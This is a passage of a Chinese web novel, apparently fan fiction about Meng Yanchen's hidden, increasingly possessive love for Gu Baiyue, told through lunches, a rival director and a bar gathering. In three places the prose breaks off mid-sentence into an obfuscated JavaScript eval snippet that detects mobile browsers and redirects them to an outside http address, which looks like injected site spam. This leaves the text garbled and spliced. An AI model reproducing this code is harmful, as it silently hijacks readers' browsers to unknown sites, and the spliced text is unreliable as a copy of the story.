孟宴臣笑声清浅,隔着手机听酥酥麻麻的,“那就不让妈妈知道。” “哥,你找我有事吗?” 孟宴臣:“想问问你,跟妈妈一起逛街都买了什么,钱够不够?” 顾白月老实回答:“妈妈结的账,我一分钱都没花。”尽管如此还是收到了一条转账信息,一串好几个零。 孟宴臣解释:“可以偷偷买一些妈妈不喜欢的东西,记得藏好了。” 顾白月软乎乎地笑:“谢谢哥哥。” 吃完饭,付闻樱又带顾白月去美容院做了全套护肤,到理发店修剪发型,总之,行程安排得特别满。 对此,顾白月只能感叹豪门贵妇和千金名媛也不是那么好当的。 除了自己的衣服,顾白月还给其他人买了东西,虽然是羊毛出在羊身上,不过孟怀瑾付闻樱都很高兴,夸顾白月眼光好。 给孟宴臣买的是一条深蓝色波点领带。 顾白月嘴甜:“这个颜色很衬哥哥气质。” 当着付闻樱和孟怀瑾的面,孟宴臣没有表现得太开心,只是淡笑着说:“谢谢皎皎。” 第二天,付闻樱去参加贵妇圈的一个聚会,顾白月在家休息没跟去,溜溜达达地跟家里花匠叔叔、家政阿姨等人聊天,都是知根知底的老熟人。 临到中午时,做饭阿姨冲顾白月招手:“皎皎,你来一下。” 顾白月:“怎么了,莫阿姨?” 莫阿姨鬼鬼祟祟往外瞅了瞅,掏出一个大大的保温桶,“这是大少爷的中午饭,你最近不在家不知道,宴臣那孩子忙狠了饭都不吃的,先生和太太吩咐我做些养胃饭菜,天天让司机老张送过去,谁知道饭盒收回来我一看,压根没怎么动。” 顾白月担心:“不吃饭怎么能行?” 莫阿姨疯狂点头:“对对对,大家要是都不吃饭,那还要我们这些厨子干什么?虽然先生和太太没有说什么,也没扣我工资,但宴臣少爷再不好好吃饭,我就不好意思再待下去了。” 顾白月有点猜到了,顺势问道:“所以?” 沉甸甸的保温桶落在顾白月手上,莫阿姨终于说出真实目的,笑眯眯地道:“皎皎啊,帮阿姨去送饭吧,悄悄的,别让先生太太知道,一定要劝你宴臣哥哥多吃饭啊,知道吗?” 顾白月握拳:“嗯嗯,保证完成任务!” 女孩提着保温桶斗志昂扬地走了,甜点师吓唬莫阿姨:“太太不喜欢大少爷和皎皎多接触,你再这样小心被炒鱿鱼。” 莫阿姨翻白眼:“那你刚才装什么哑巴?亏你还是看着大少爷和皎皎长大的,人家平常一口一个叔叔喊你,关键时候就不知道帮帮忙。” 甜点师叹气:“太太可不是好糊弄的。” 莫阿姨咕哝:“那我不管,皎皎又不开窍,宴臣那孩子……心里太苦了。” …… 孟宴臣刚开完一个高层会议,留下财务主管和销售主管主管讨论细节,助理姚莫北走了进来:“孟总,老宅那边打来电话,说是小姐过来给您送饭了,这会儿应该快到了。” 皎皎来了? 孟宴臣拿起手机看了一眼,果然有皎皎发的消息,他方才开会时手机静音,没有注意。 自然要下去接皎皎的,只是跟财务主管和销售主管的对话还未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9438044|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结束,姚莫北很懂眼色地适时开口:“孟总,我下去接小姐吧。” 顾白月没怎么来过国坤集团的总部,只偶尔陪付闻樱一起过来巡视,对这栋参天大厦并不熟悉。 司机将车停在地下车库,顾白月还没下车,就看到一个年轻清秀的男人,笑着给她开车门:“你好,我是孟总的助理姚莫北。” 顾白月礼貌点头:“你好。” 两人搭乘总裁专属电梯,可以直达孟宴臣所在的十九层,姚莫北将保温桶接了过去,笑道:“孟总知道你要来,可高兴了。” 他的语气有点熟稔,仿佛并非第一次见顾白月。 顾白月听得诧异,多看了姚莫北一眼。 姚莫北觉察出来了,兴致勃勃地说:“孟小姐,你没认出来我吗?我是姚莫北啊,王雨润的同学姚莫北啊!” 听到王雨润的名字,顾白月这才恍然大悟,“哦,我想起来了,你以前还请我吃过你们家的煮红薯呢,可甜了!” 姚莫北有点羞赧:“一块红薯而已,不值什么的。” 从山沟沟里考出来的穷学生,到京大财经学校报到时,除了一蛇皮袋的衣服鞋袜,只带了煮熟的红薯做零食,窘迫地站在校门口不知道该往哪走,两眼一抹黑。 那时候,隔壁院校的顾白月来找王雨润玩,看出了姚莫北的尴尬,领他去了新生报道处。 姚莫北感激莫名,傻乎乎地打开塑料袋:“你……你们吃红薯吗?” 负责新生接待的几位学长学姐都笑了,没有多少恶意,却还是笑得姚莫北站立不住,恨不得找一条地缝钻进去。 “我尝尝。” 一片嬉笑声中,顾白月坦然地拿了一块红薯撕开皮吃掉,语气真诚地说:“很甜很好吃嗳,是你们家自己种的吗?” 姚莫北莫名高兴起来,他站直了腰:“是,是的。” …… 提及王雨润,顾白月笑道:“改天叫上小雨点,咱们一起出去涮火锅。” 姚莫北兴奋得脸都红了,结结巴巴地问:“可,可以吗?” 顾白月感慨:“当然可以啊,说起来还真是无巧不成书,竟然在这里遇上了。” 姚莫北默默想:才不是巧合。 顾白月仔细观察了姚莫北一会儿,发现他看起来淳朴敦厚,十分老实本分的模样,就试探着说:“姚助理,既然咱们都是老相识了,你能不能帮我一个忙?” “什么?你说。”无论是什么。 顾白月眉头轻蹙:“以后哥哥要是不好好吃饭,你能不能告诉我一声?” 姚莫北狠狠点头:“没问题。” 这边孟宴臣等得望眼欲穿,正要自己下去一趟,就见顾白月和姚莫北有说有笑地走进来了,孟宴臣顿时心底一咯噔,带着些警惕认认真真打量地打量姚莫北。 生得白白净净,斯斯文文,勉强称得上有几分帅气。 孟宴臣对助理道:“辛苦了,快十二点了,你去吃饭吧。” 等到外人离开,顾白月站在巨大书桌前,一脸严肃地说:“哥,你不乖。” 孟宴臣仰靠在椅背上,目光灼灼望向顾白月,笑着推了推眼镜:“我怎么不乖了?” 我连做梦都不敢逾距。 我明明…… 比谁都乖。 顾白月气嘟嘟:“只有幼儿园里的坏孩子,才会不好好吃饭。” 孟宴臣(二十七) 面对顾白月气呼呼的控诉,孟宴臣没有任何反驳,老老实实地将饭菜一一拿出来摆好:“哥哥错了,哥哥现在就吃饭。” 见他摆了两副碗筷,顾白月道:“哥,我吃过了。” 孟宴臣:“我知道,陪我再吃一点。” 顾白月:“好。”她走过去帮忙,孟宴臣没让顾白月沾手,抽了消毒湿纸巾,动作温柔地将顾白月手指擦拭一遍。 受付闻樱女士影响,孟家人多多少少都有点洁癖,孟宴臣擦得认真仔细,顾白月却有点分心。 孟宴臣的手带着淡淡凉意,修长柔韧,骨节分明,同他这个人一般矜贵优雅。顾白月的手却是另一种极端,白里透粉,像淡红蜷曲的芙蓉花瓣,指甲修剪成干净可爱的弧度,行动之间,纤柔惑人。 许是两只手交握在一起的画面太过绮艳,莫名让人觉出几分暧昧,顾白月有点不自在,害羞地将手抽了出来:“哥,我自己来吧……” 孟宴臣眼神克制地看向女孩,没有说什么。 两人在沙发边坐好,安安静静地用餐,期间并未交谈,最多相互看一眼,用公筷为对方夹菜,然后默契地相视而笑。 即便脱离孟家,脱离付女士的掌控,食不言寝不语的良好礼仪也早已成为习惯。 饭后姚助理送来点好的外卖奶茶,顾白月抱着最爱的芋泥啵啵,嘬着嘴巴喝了个痛快,笑盈盈地跟孟宴臣道谢:“哥,还是你最好了,老师和妈妈都不允许我喝奶茶,我都好久没喝了。” 孟宴臣笑:“只能偶尔喝一次。” 姚助理:“孟小姐想吃什么餐后水果?我去洗。” 顾白月拍着小肚皮:“我已经吃饱了,不用麻烦了。” 等到姚助理离开,顾白月敏锐地察觉到孟宴臣的心情有些低落,尽管他脸上并没有太多表情变化,但就像孟宴臣对顾白月的一切了如指掌一样,顾白月也十分清楚眼前这个男人的脾气秉性。 方才姚助理称呼她为“孟小姐”时,孟宴臣的眸色一瞬间就黯淡下来了。 顾白月挠了挠脸颊,略带踌躇地说:“哥,其实我一直都想问问你,你当年为什么那么抵触我做孟家养女呢?我知道你不是为了家产。” 曾经,孟宴臣那般掏心掏肺地对她好,不是兄妹却胜似兄妹,为何后来又不愿意让她成为真正的妹妹了呢你? “你,你不知道吗?” 孟宴臣沉默了许久,叹息着开口:“我以为你已经猜到了。” 顾白月疑惑:“猜到什么?” 孟宴臣抬头看她,宽阔明亮的办公室里,阳光金灿灿地笼罩着靡颜腻理的姑娘,却没有一丝一毫落在他身上。 在浅淡阴影里,孟宴臣无奈地认清一个现实,顾白月神色天真懵懂,眉眼稚气纯澈,完全是不识爱恋的模样。 我的遮掩漏洞百出,世人都知道我爱你,唯有你不知道。 其实从很小很小时候开始,孟宴臣就隐约发现顾白月的脑回路有点异于常人,尤其是在男欢女爱方面,分明有那么多人前赴后继,飞蛾扑火般喜欢皎皎,追求皎皎,皎皎兀自岿然不动。 就比如幼儿园时期,其他小朋友都喜欢看童话故事,顾白月却兴致缺缺,甚至格外讨厌《美人鱼》那一篇,骂王子是不守承诺的大坏蛋。 再比如,初中时期学习神话传说,同学们为后羿与嫦娥的悲剧潸然泪下,怜悯他们爱而不得,顾白月却说:“嫦娥真傻真的,她自己后悔得肠子都青了,天天以泪洗面,顿顿都吃乌鸦肉的炸酱面,有什么好羡慕的,要是重来一次,你看她选不选后羿……”注1 同学们不服气:“你怎么知道嫦娥不愿意?” 顾白月无辜:“她自己说的啊。” 总之,顾白月可能是天生在情爱方面比较懵懂,迟迟不开窍,当然也可能是这些年孟家将她保护得太好了。 认识到这一点后,孟宴臣为顾白月的迟钝沮丧气恼,一边又忍不住暗暗庆幸,庆幸在他缺席的这些年里,不曾有人趁虚而入,引|诱明月沉沦。 孟宴臣没有解释,他只是浅浅苦笑,仿佛在说服自己一般:“不懂也好……” 身为国坤集团的未来继承人,孟宴臣忙到分|身乏术,刚吃完饭就有人拿了文件过来请示,与顾白月的对话不得不被迫中止。 孟宴臣颇觉遗憾,他好不容易才找到机会同顾白月说话,手上翻着文件,嘴里还在挽留:“皎皎下午要是没事的话,可以等哥哥下班吗?听说月海居又推出了新菜,哥哥带你去尝尝。” 餐具已经被姚助理收好了,顾白月提着保温桶,想了想说:“那我下去让司机张叔先回家,我在附近逛一逛。” “好。” 司机张叔将饭盒带回家清洗,顾白月到不远处的商业街玩了一会儿,走累了就随意寻了一家咖啡馆,点了草莓蛋糕和卡布奇诺,窝在卡座玩手机。 恰好助理花姐发来消息,说是顾白月托她打听的事已经问好了,对方负责人看了一段顾白月的跳舞视频,很感兴趣,约顾白月尽快见面详谈。 顾白月闲着也是闲着,就把自己的定位发了过去。 没想到过了大半个小时,有一个打扮新潮,浑身奢侈品的年轻男人走过来,摘了墨镜冲顾白月呲牙一笑:“孟三小姐?” 顾白月:“你是?” 年轻男人友好地伸出手:“蒋云舟。” 谁能想到新晋导演蒋云舟,从一众古偶剧里厮杀出来的黄金档黑马,看起来竟然才二十出头,一副清爽干净的大学生模样,而且他也是从京大艺术学校毕业的,算起来还是顾白月的学弟。 蒋云舟同顾白月经常见到的大多数人都不一样,他活力满满,幽默风趣,喜欢开玩笑,但又不会让人感受到冒犯,言行举止间能感受到良好的家庭教育背景,显然并非泛泛之辈。 两人的交谈很顺畅,顾白月甚至隐隐察觉到对方在投其所好,似有若无地向自己示好,顾白月没有多想,以为又是孟家的威慑力。 直到时间一点一滴推移,顾白月不经意间抬头,透过玻璃窗,看到街对面站着一个清瘦高俊的男人,宽肩窄腰长腿,身上是熨帖的黑色西装,雪白衬衣,深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9439240|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝色领带——顾白月昨天刚送出去的那一条。 正是下班时段的晚高峰,马路上人来人往,川流不息,孟宴臣安安静静地站在光影交汇处,犹如处于深山幽谷,遗世独立。 顾白月一怔,她模糊产生一种错觉,天空好像下了一场雨,一场只针对孟宴臣一个人的雨,将他淋得浑身湿漉漉,格外狼狈。 四目相对。 薄薄的金丝眼镜遮掩不住锋芒,浓郁的哀伤几乎化作利刃,将孟宴臣切割得遍体鳞伤。 顾白月坐不住了,脚步轻快地奔向孟宴臣,想要驱散那围绕在他四周,几乎将人溺毙的孤单落寞。 “哥。” 随着顾白月靠近,孟宴臣从枯萎恢复鲜活,他握住顾白月纤细手腕,眸色幽幽,蕴藏着不为人知的偏执,失神般呓语:“皎皎不乖,是你不乖……” “哥,你怎么了?”顾白月有些无措地看向孟宴臣。 瞧瞧我发现了什么? 这眼神可不该是一个兄长看妹妹时应有的。 蒋云舟的目光别有深意地望了过来,半真半假地玩笑:“孟小姐,他是你哥吗?哎呀,你都这么大人了怎么还需要哥哥管?” 顾白月有点不好意思,自己确实太过依赖哥哥了,想要退开一步,却被孟宴臣制止,他将人护在身后,冷冷看向蒋云舟:“我们自家人的事,好像轮不到外人置喙。” “好吧。”蒋云舟耸了耸肩膀,笑嘻嘻地说:“大叔上了年纪,疑神疑鬼很正常,其实我们年轻人不喜欢被人指手画脚。” 顾白月懵逼:大、大叔? 孟宴臣还不到三十岁,即便蒋云舟天生一张娃娃脸,显得格外青春,也不能这么夸张地称呼孟宴臣为大叔吧。 顾白月有点不高兴,抱着孟宴臣胳膊,特别认真地跟蒋云舟说:“不可以这样,蒋学弟,如果你想要跟我做朋友,就要对我哥哥有最起码的礼貌,否则,我只能对你说抱歉。” 看出顾白月有意维护孟宴臣,蒋云舟举手做投降状,“OK,OK,学姐别生气嘛,我说着玩的,你们是一家人,我以后当然会尊敬孟先生。” “一家人”三个字咬得格外重,略带试探地睨着孟宴臣,隐含挑衅姿态。 同为男人,孟宴臣太知道蒋云舟在想些什么了,“她不是孟三小姐,她是顾白月。” 蒋云舟告辞离开后,顾白月坐在孟宴臣那辆豪华的黑色商务车,孟宴臣试着起步,落在方向盘上的手却控制不住地颤抖,显示出主人并不平静的情绪。 顾白月注意到了,惊异地问:“哥,你……” “抱歉。”孟宴臣熄火刹车,“哥哥现在心情不稳,安全起见,暂时不能开车。” 顾白月善解人意地说:“没关系啊,我也不急着走。”她怕孟宴臣是哪里不舒服,一时情急顾不得避讳,直接握住孟宴臣的手揉了揉,“这样好点没有?” 孟宴臣垂眸看着她忙碌,闭目收敛所有咄咄逼人的强势,努力让自己用平淡的语气询问:“刚才那人是谁?皎皎为什么要背着哥哥偷偷同他约会?” 孟宴臣(二十八) 顾白月觉得孟宴臣的措辞有点奇怪,不过她并非故意隐瞒:“哥哥不知道吗?我以为花姐已经告诉哥哥了呢。” 怕顾白月多想,孟宴臣慌乱解释:“没有,皎皎,花姐虽然是我找的人,但哥哥只是看重她处事机敏手腕灵活,还会一些女子防身术,关键时候可以保护你。我既然让花姐过去照顾你,她的老板就只有你一个,除非威胁到人身安全的大事,其他时候花姐不会多嘴。哥哥没有控制皎皎,探知你隐私的意思……” 顾白月弯着桃花眼笑:“我知道啊,哥哥干嘛这么紧张。”她老老实实同孟宴臣解释:“刚才那个人叫蒋云舟,是个导演,去年很火的电视剧《千古缘》就是他执导的,我听说蒋云舟最近在筹拍一部新戏,仙侠类的,我想要过去试一试。” “拍戏?”孟宴臣第一反应是不赞同,“皎皎是缺钱用吗?哥哥给你,多少都可以。”拍戏太辛苦了,风吹日晒,说不定还要吊威亚,多危险啊。 顾白月:“不行哦,哥,我想自己挣钱,挣很多很多钱,不可以一直做米虫让哥哥养的。” 孟宴臣笑意微苦:“如果这是我求之不得的呢?” 顾白月没有听懂:“什么?” 孟宴臣缓缓摇头,没有勇气再说第二遍。 顾白月只好使出撒娇大法,像小狗一样揪着他衣角腻腻歪歪,“求求你啦,哥哥,让我去拍戏吧,说不定我能一炮而红,挣的钱比哥哥还多,我就可以反过来养哥哥了。” 还是小孩子呢,想问题永远这么天真,莫说是演艺圈新人,就算是享誉国际的影帝影后,在真正雄厚的资本面前,也只能俯首称臣。 孟宴臣不想打击顾白月对未来的憧憬,即便他知道以自己现在的身家收入,顾白月想要超越国坤集团继承人,实在任重而道远。 但孟宴臣说不出任何一句反驳的话,他所有基于现实的考量,种种不堪言说的顾虑,都败在顾白月一句话当中…… 她跪坐在副驾驶位上,眼巴巴地看向自己,嘀嘀咕咕地说: “如果我能够挣到比哥哥年薪还要多的钱,是不是就能从妈妈那里买你一年自由,哪怕只有一年呢,到时候哥哥想去哪里去哪里,想做什么做什么,制作一只蝴蝶标本也好,养一只小猫也好,随你高兴。” 顾白月叹气:“哥哥已经很久很久,没有露出开开心心的笑容了。” 蝴蝶的翅膀扇动,在孟宴臣心底凝聚一场风暴。 别人关注的从来都是他考试成绩多少,接手了多少项目,培养了多少心腹,是否有能力带领国坤集团更上一层楼。 只有他的皎皎怀有最朴素热切的希望,希望他健健康康,平安喜乐。 …… 因为顾白月回来了,这几天孟宴臣都是在老宅住,赶上周末也没有睡懒觉,早上起来照常跑步半小时。 孟宴臣洗完澡换好衣服,听到楼下传来隐约说话时,来到阳台一看,顾白月在浇花,家政阿姨在旁边的玻璃洗衣房里晾衣服,晾衣杆上挂着几件淡红粉白的连衣裙,还有雪白柔软的贴身…… 咳咳。 非礼勿视。 孟宴臣秉持君子之风,克制地转开视线,偏巧顾白月这时候瞅见了他,明媚地挥手打招呼:“哥,早上好啊!” “早上好。”孟宴臣不敢跟顾白月对视,匆匆说了一句就缩回房间。 顾白月摸不着头脑:“哥哥生病了吗?脸怎么那么红……” 吃过早饭,孟怀瑾和付闻樱夫妇外出探访友人,孟宴臣用平板看公司文件,顾白月戴着耳机追剧,兄妹二人各自占据沙发一角,互不打扰又其乐融融。 中场休息时,孟宴臣问顾白月为什么想要拍戏。 顾白月没有美化自己的愿望,实话实说:“来钱快。”她扭头看向栽在廊下花盆里的一株春兰,“虽然这可能只是我的错觉,但我总觉得,因为我的存在,哥哥向爸爸妈妈妥协了许多,困在孟家这个黄金笼里,一次次被迫低头,可是哥哥也是人,哥哥也会难过的啊……” 孟宴臣忍下眼底潮湿热意,淡然道:“没关系……” 只要你在,一切都没关系。 下午,孟宴臣怕顾白月窝在家里无聊,“要不要去体育馆玩?” 顾白月从沙发上一跃而起,兴奋地说:“好啊好啊,好久没看哥哥打球了。” 两人驱车来到体育馆时,肖亦骁和韩廷王勉等几个朋友都在,网球是竞技性力量级运动,顾白月没有上场,坐在一旁观战。 见惯了孟宴臣西装革履,文质彬彬,偶尔看到他穿着运动短袖短裤,露出劲瘦的胳膊和小腿,浑身充满磅礴的男性荷尔蒙,挥动球拍时骨节凸显,气势惊人,实在霸道得让人移不开眼。 再次被一球绝杀,累得气喘吁吁,毫无还手之力,王勉忍不住暴躁开麦:“不是,他有病吧,打个球而已,要不要这么拼?!” 肖亦骁点他:“你能不能有点眼力劲儿,没看到皎皎跟着来了吗?” 王勉瞬间了悟:“怪不得咱们小孟总今天跟孔雀开屏似的,求偶期的男人惹不得啊。” 韩廷精准吐槽:“什么小孟总,明明是显眼包!” 孟宴臣压低声音警告:“你们有完没完?” 一局结束,孟宴臣以压倒性地优势狠狠碾压他人,一个人制霸全场,简直杀疯了。 顾白月拿着毛巾和水跑过来,满脸崇拜星星眼:“哥,你今天真是又帅又蛊,A爆了!” 孟宴臣握拳抵唇,故作平淡地笑:“还好吧。” “切~~” 三个男人齐刷刷出声,阴阳怪气地学孟宴臣说话:“还好吧~~” 啧啧,以前怎么没发现孟宴臣这么能装腔作势,皎皎一夸他,嘴角都要咧到后脑勺了。 几人在体育馆痛痛快快玩了一下午,主要项目包括但不限于看孟宴臣打网球篮球羽毛球,三百六十度无死角地展示自己。 王勉牙酸:“瞧那不值钱的样子。” 韩廷黑脸:“谁叫他来的?下次能不能绕过老孟,只约皎皎。” 肖亦骁惊恐:“绕过老孟约皎皎?你是真敢想啊。” 后来孟宴臣犯了众怒,大家实在不想看他继续嚣张,拉了体育馆里其他人,临时组成了两支球队,进行对抗赛。 “嘿,我还就不信了,皎皎你给我站着当守门员,你哥要是敢往这儿踢,你就用头接!” 肖亦骁将顾白月摆在球门前,得意洋洋地对孟宴臣说:“来来来,你踢一个我看看?小样儿,我还治不了你了。” 顾白月:“好家伙,我的死活你是一句不提啊。” 孟宴臣护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9440940|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短:“别理他,皎皎过来跟哥哥一组。” 顾白月冲肖亦骁挥手:“拜拜了您嘞,哥哥不让我跟笨蛋一起玩。” 六点体育馆闭馆,一行人转换场地吃了晚饭,肖亦骁说在湾流留了包间,邀请几人过去喝酒,孟宴臣说:“我和皎皎就不去了,你们玩吧。” 酒吧那种场合三教九流鱼龙混杂,不适合皎皎。 肖亦骁哀嚎:“别啊,我酒水果盘都订好了,知道皎皎不喝酒,准备的有果汁,再说了皎皎也不仅仅是你一个人的妹妹,我还想跟我妹子说话呢。” 几人确实好长时间没有聚在一起了,顾白月想到孟怀瑾和付闻樱出门时,说是会回来得比较晚,就摇了摇孟宴臣胳膊:“哥,我还没去过湾流酒吧呢。” 孟宴臣勉为其难:“那好吧,不过记得在酒吧跟紧我,不许一个人乱走。” 顾白月乖巧应了下来:“好。” 到了湾流时,服务生确实将东西都布置好了,肖亦骁领着几人一边走,一边跟顾白月吹牛:“皎皎,瞅见这酒吧没?我大二那年跟人合开的,你骁哥占六成股份,名副其实的大老板,啥时候想来报我的名字,哥给你免单!” 孟宴臣看了他一眼。 顾白月对这间酒吧久闻其名,一直不曾来过,今天一看装修得精巧奢华,是色彩浓郁的后现代主义风格,颓靡又不失浪漫,确实有点意思。 到了包间里,孟宴臣让顾白月坐下吃水果,自己跟肖亦骁几个有一搭没一搭地聊着。 赵又司大学毕业后就到了医院上班,今天下午临时有病人加急看诊,没参与他们的局,七点多才过来。 普通酒吧里的果盘一般都是苹果西瓜之类,湾流里的果盘却林林总总十余种,竟然还有两碟顾白月最喜欢的车厘子。 孟宴臣将其中一碟放在顾白月面前,看她拈起一粒吃得开心,自己也觉得高兴,在朦胧昏暗的灯光下,神情放松地笑了。 角落里的服务生目光惊疑地看向孟宴臣,他没在意,那人不知怎么的,又将视线落在顾白月身上,隐含敌意。 顾白月吃东西的动作一顿,这女服务生看她的眼神,莫名让人联想到一生放荡不羁爱自由的许沁。 不知道异国他乡的太阳,有没有晒干许沁脑子里的水。 肖亦骁喊服务生拿来小道具,嚷嚷着要玩狼人杀,顾白月很感兴趣地举手:“带我一个。” 既然顾白月要玩,孟宴臣也想参与,谁知孟宴臣今天下午太出风头,将韩廷等人虐狠了,大家这会儿正看他不顺眼,故意使坏将孟宴臣票出去:“哪凉快哪待着去吧。” 顾白月打抱不平:“哇,你们也太坏了吧?” 孟宴臣无所谓地浅笑,擎着一杯柠檬色酒水闲闲把玩,时不时仰头浅酌一口,笔直修长的双腿慵懒交叠,一只手落在顾白月身后的沙发椅背上,是能够将女孩完全拢进怀里的姿态。 仿佛一头守护珍宝的恶龙,寸步不离。 肖亦骁人菜瘾还大,轮到他发言时,一脸严肃地说:“我是一匹好人。” 大家知道他在搞怪,纷纷笑了起来,包间里到处都是快活空气。 一室喧嚣中,孟宴臣微微侧头,看向眼底缀满星河的顾白月,整个人都柔和下来,就连金丝眼镜下的幽深眸子,也泛出隐秘的欢喜。 孟宴臣(二十九) 叶子第二次用充满敌意的目光,看向那美得不似凡人的长发姑娘时,忽觉身上一寒,定睛看去,孟宴臣眼神幽冷,暗含警告之意。 她前前后后见了孟宴臣四次,每一次都被他彻底无视,唯有这一次孟宴臣终于肯施舍般地给予一丝注意力,却是为了那个陌生女人。 皎月般清冷美好的人…… 竟然真的存在啊。 几人玩游戏玩嗨了,输的人罚过酒,然后又开始打纸牌,肖亦骁嚷嚷着说:“不行不行,我这地方不好,皎皎你那是风水宝地,咱俩换换。” 肖亦骁旁边就是赵又司,顾白月正好有事找他,闻言就道:“行啊。” 旁边的孟宴臣虽在喝酒,注意力却全都在顾白月身上,见她起身下意识握住皎皎手腕:“去哪?” 肖亦骁硬生生插进来:“好了老孟,别整天跟连体婴似的,小心皎皎嫌你烦。” 顾白月也笑:“哥,我马上回来。” 顾白月跑去沙发另一边坐好,韩廷洗牌,赵又司偏首跟顾白月说着什么,脸上笑意温润,举止谦逊端方。 如赵又司一般的翩翩公子,对热衷于古典文化的皎皎来说,应该很具吸引力吧? 孟宴臣心底不大舒服,手里的酒好像也苦了许多。 事实上,孟宴臣完全是杞人忧天,因为顾白月即便同赵又司言笑晏晏,聊得有来有往,实际话题却还是围绕孟宴臣的。 见顾白月主动凑过来,赵又司原本还有点窃喜,正自怦然心动,就听皎皎认认真真地问:“又司哥,你知道有什么温和性良的方子,能够有效缓解焦虑,帮助睡眠吗?” 赵又司那点被佳人青眼相加的得意,瞬间荡然无存,了然地问:“替你哥问的?” 顾白月:“是啊,他近来脸色不大好,还经常有黑眼圈。” “孟宴臣的命真是好得让人嫉妒……” 像他们这些有点家底的世家子弟,在本市上流圈虽然不算少数,但经常在一起攒局,玩得比较好的,也就他们几人。 大家年少相识,相熟的女生也唯有顾白月、王雨润和许沁三人,青春懵懂,热血方刚之时,要说完全没有肖想过顾白月,狗听了都直摇头。 无奈孟宴臣眼光毒,下手狠,早早就抢占先机将人护着,后来更是宁愿舍弃追求顾白月的可能,也要将人护在孟家羽翼下。 这么一来,赵又司等人也只好偃旗息鼓了。 不过…… 知道比不上孟宴臣对顾白月的痴心,也赶不上他在顾白月心中的位置,但偶尔气一气情敌,是每个男人都会做的事吧? 赵又司瞥了一天面色淡淡,看似风平浪静的孟宴臣,心想:看你能忍到什么时候…… 他说:“有啊,不过我没带笔,你手机呢?” 顾白月不做他想,将手机递过去。 赵又司接过手机,在备忘录上打归脾汤的药方,还低头浅笑着同顾白月说注意事项:“煮药的时候,记得小火慢慢煮,先放白术黄芪,最后放人参,唔,切记切记,人参不可多放,一点点根须就行。” 听他说得慎重,顾白月连连点头,又好奇:“人参不是补药吗?” 赵又司:“要知道过犹不及,孟宴臣年轻力壮龙精虎猛的,就算是失眠也不能吃太多人参,否则……” “怎么?” 他爱怜地看向女孩初雪般干净眼眸,心说:我的傻姑娘啊,否则你就要吃大苦头了,我才不干那种给情敌助攻的傻事呢。 孟宴臣虎视眈眈盯着这边,怎么看怎么觉得赵又司笑得碍眼,这家伙平常也没那么爱笑啊,今天怎么跟中了彩票似的,一脸春风荡漾,红鸾星动? “嘶。” 肖亦骁用肩膀撞他:“你这醋吃得,我隔着二里地都能闻见。我说老孟你小子到底行不行啊,该不会到现在还没告诉皎皎吧,我看她现在可还是一心一意拿你当哥哥。” 孟宴臣收敛眼眸里的攻击性:“既然明知道不可能,为什么还要拉她下水呢,有我一个人煎熬着,还不够吗?” 肖亦骁摇头:“这话真是言不由衷,老孟你想清楚了,你要是什么都不跟皎皎说,继续守着兄妹名分的话,总有一天你连吃醋的资格都没有。” “我知道……” 晦暗灯光下,孟宴臣的表情缥缈难以琢磨,恍恍惚惚地说:“其实这样也挺好的,我都想明白了,是兄妹……也好,我能名正言顺守着她,护着她。” 肖亦骁为老朋友叹气:“皎皎不可能跟着你过一辈子,她早晚要恋爱结婚生孩子。”到时候你该有多可悲。 谁知孟宴臣隔着黯淡灯火,定定看向顾白月,小孩子一般满足地笑开:“皎皎不会结婚生子的,——我、不、许。你知道的,皎皎可心软了,我只要告诉她,哥哥患了绝症,哥哥快死了,她就会放弃其他一切过来照顾我……” 你他妈…… 有这么诅咒自己的吗?! 肖亦骁倒抽一口凉气,为孟宴臣字里行间难以压抑的疯狂,更为顾白月未来的命运担忧,压低声音说:“你他妈疯了吗?!你不许?你凭什么?你让皎皎一辈子不许结婚生子,不怕她恨你?我可告诉你老孟,我不光是你兄弟,我也是皎皎她哥,我不能看着你这么祸害她。” 孟宴臣醉意迷蒙地摇头:“不,作为补偿,我也会一辈子不结婚生子。” 他自欺欺人地问:“所以,是兄妹也没关系的吧,反正我们都会一辈子孤孤单单地守着对方生活,没有嫂子,也没有妹婿,更没有恼人的小孩子……” 瞧,多完美啊。 肖亦骁惊得半晌说不出话来:“你他妈到底什么时候疯的?我现在真是可怜我皎皎妹妹,怎么就招惹上你了。” 他今天一晚上骂的脏话,快赶上过去一个月的量了。 孟宴臣用手指挟着玻璃杯,透着光影,看向那一抹姣好,固执地说:“她答应过我的。” “答应你什么?” “答应同我天下第一好,我都记得的。” 肖亦骁:“什么天下第一好,幼稚不幼稚,跟小学生搞笑发言似的,皎皎什么时候说得?” 孟宴臣眯起眼睛,陷入温馨回忆:“二十年前的一个晚上,皎皎上幼儿园 